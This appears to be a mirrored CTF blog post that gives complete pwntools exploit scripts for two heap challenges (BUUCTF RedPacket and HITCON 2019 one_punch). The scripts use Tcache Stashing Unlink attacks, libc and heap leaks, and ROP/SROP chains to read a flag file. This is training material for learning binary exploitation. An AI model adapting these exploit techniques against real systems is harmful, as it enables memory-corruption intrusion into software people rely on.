1

Chumen77's Blog

 3 years ago
source link: https://chumen77.github.io/2020/11/12/Nov.%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Nov.刷题记录

BUUCTF 红包题3

Tcache Stashing Unlink Attack 练手题。

利用0x400 与 0x300构造出2个0x90的smallbin,进行Tcache Stashing Unlink Attack 即可。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './RedPacket_SoEasyPwn1'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',29206)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,choice,data):
    sla(':','1')
    sla('idx',str(idx))
    sla('4.0x400)',str(choice))
    sa('content',str(data))
def free(idx):
    sla(':','2')
    sla("idx",str(idx))
def edit(idx,data):
    sla(':','3')
    sla("idx",str(idx))
    sa("ent:",str(data))
def show(idx):
    sla(':','4')
    sla('idx:',str(idx))

for i in range(6):
    add(i,2,'chumen77')
for i in range(6):
    free(i)  #可以不用这样写 直接在上一个循环,free也可以
for i in range(8):
    add(i+7,4,'chumen77')
add(16,1,'chumen77')
for i in range(8):
    free(i+7)

add(0,3,'chumen77')
add(1,4,'chumen77')
add(16,4,'chumen77')
free(1)
show(1)
r()
libcbase = uu64(r(6)) - 0x1e4ca0
info_addr('libc',libcbase)
# debug()
add(2,3,'chumen77')
add(3,3,'chumen77')
show(5)
r()
heapbase = uu64(r(6)) - 0x1670
info_addr('heap',heapbase)
payload = '\x00' * 0x300 + p64(0) + p64(0x101) + p64(heapbase+0x37e0) + p64(heapbase+0xa60 - 0x10)
edit(1,payload)
add(4,2,'chumen77')
pop_rdi = libc.search(asm("pop rdi \nret")).next()  + libcbase
pop_rsi = libc.search(asm("pop rsi \nret")).next()  + libcbase
pop_rdx = 0x000000000012bda6  + libcbase
leave_ret = libc.search(asm("leave \nret")).next()  + libcbase
open = libcbase + libc.symbols["open"]
read = libcbase + libc.symbols["read"]
puts = libcbase + libc.symbols['puts']
rop=flat([pop_rdi,heapbase + 0x4440,pop_rsi,0,open,pop_rdi,3,pop_rsi,heapbase + 0x2000,pop_rdx,0x30,read,pop_rdi,heapbase + 0x2000,puts])
sleep(0.1)
add(5,4,'./flag\x00\x00'  + rop)
sla(':','666')
payload = '\x00' * 0x80 + p64(heapbase+0x4430+8+8) + p64(leave_ret)
sa('to say?',payload)
itr()

hitcon_ctf_2019_one_punch

还是Tcache Stashing Unlink 的练手题。

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

其是运行open,但是libc2.29下走open时,其实则调用openat。
可以用set rax = 2 ,syscall 即可。

free hook打的话,可以用:

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

这个好用的gadget,然后srop打orw

malloc hook打的话,可以用:

add rsp,0x48 ; ret

其也就是栈劫持到可控的buf区,走orw的rop chain

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './hitcon_ctf_2019_one_punch'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',29942)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,data):
    sla('>','1')
    sla('idx',str(idx))
    sa('name',str(data))

def edit(idx,data):
    sla('>','2')
    sla('idx',str(idx))
    sa('name',str(data))

def show(idx):
    sla('>','3')
    sla('idx',str(idx))

def free(idx):
    sla('>','4')
    sla('idx',str(idx))

def backdoor(data):
    sla('>','50056')
    s(str(data))
add(0,'1'*0x400)
free(0)
# debug()
for i in range(6):
    edit(0,p64(0)*2)
    free(0)
add('1','1'*0xd0)
edit(0,p64(0)*2)
free(0)
show(0)
ru('name: ')
libcbase = uu64(r(6)) - 0x1e4ca0
info_addr('libc',libcbase)

add(2,'1'*(0x320))
add(2,'1'*(0x320))
free(1)
for i in range(5):
    edit(1,p64(0)*2)
    free(1)
show(1)
ru('name: ')
heap = uu64(r(6)) - 0x670 
info_addr('heap',heap)
add(1,'1'*(0x320))
add(1,'1'*0x217)
free(1)
edit(1,p64(0)*2)
free(1)
free_hook = 0x1e75a8 + libcbase
__malloc_hook = 0x1e4c30 + libcbase
edit(1,p64(free_hook))
for i in range(8):
    edit(2,p64(0)*2)
    free(2)
# debug()
add(1,'1'*(0x240))
add(1,'1'*(0x240))

data = '\x00' * (0x240) + p64(0) + p64(0xe1) + p64(heap+0x580) + p64(heap + 0x20)
edit(2,data)

add(1,'1'*0xd0)

add(2,'1'*0x217)
add(1,'1'*0x217)



frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook + 0x20
frame.rdx = 0x200
frame.rsp = free_hook + 0x20
frame.rip = libcbase + libc.search(asm("syscall \nret")).next()
srop = str(frame)[0x10:]

# debug()
# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
magic =0x000000000012be97 + libcbase 
backdoor(p64(magic))
backdoor(p64(magic))
sleep(0.1)
orw = shellcraft.open('./flag') + shellcraft.read(3,free_hook+0x60,0x30) + shellcraft.write(1,free_hook+0x60,0x30)

pop_rdi = libc.search(asm("pop rdi \nret")).next() +libcbase
pop_rsi = libc.search(asm("pop rsi \nret")).next() +libcbase
pop_rdx = libcbase+0x000000000012bda6
rop = flat([pop_rdi,free_hook & 0xfffffffffffff000,pop_rsi,0x1000,pop_rdx,7,libc.sym['mprotect']+ libcbase,free_hook + 0x20 + 8 * 8])
payload = p64(libcbase + libc.sym['setcontext']+53) + p64(heap+0x260) + srop

edit(0,payload)
debug()
free(0)
payload = rop + asm(orw)
s(payload)

itr()
add_rsp_0x48 = 0x000000000008cfd6 +libcbase

backdoor(p64(add_rsp_0x48))
backdoor(p64(add_rsp_0x48))

pop_rdi = libc.search(asm("pop rdi \nret")).next()  + libcbase
pop_rsi = libc.search(asm("pop rsi \nret")).next()  + libcbase
pop_rdx = 0x000000000012bda6  + libcbase
leave_ret = libc.search(asm("leave \nret")).next()  + libcbase
pop_rax = 0x0000000000047cf8+ libcbase
syscall_ret = libc.search(asm("syscall \nret")).next()  + libcbase 
open = libcbase + libc.symbols["open"]
read = libcbase + libc.symbols["read"]
write = libcbase + libc.symbols['write']


rop=flat([pop_rdi,heap+0x1440,pop_rsi,0,pop_rax,2,syscall_ret,pop_rdi,3,pop_rsi,heap + 0x2000,pop_rdx,0x30,read,pop_rdi,1,pop_rsi,heap + 0x2000,pop_rdx,0x30,write])
sleep(0.1)
edit(1,'./flag\x00')
# debug()
add(1,rop)

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK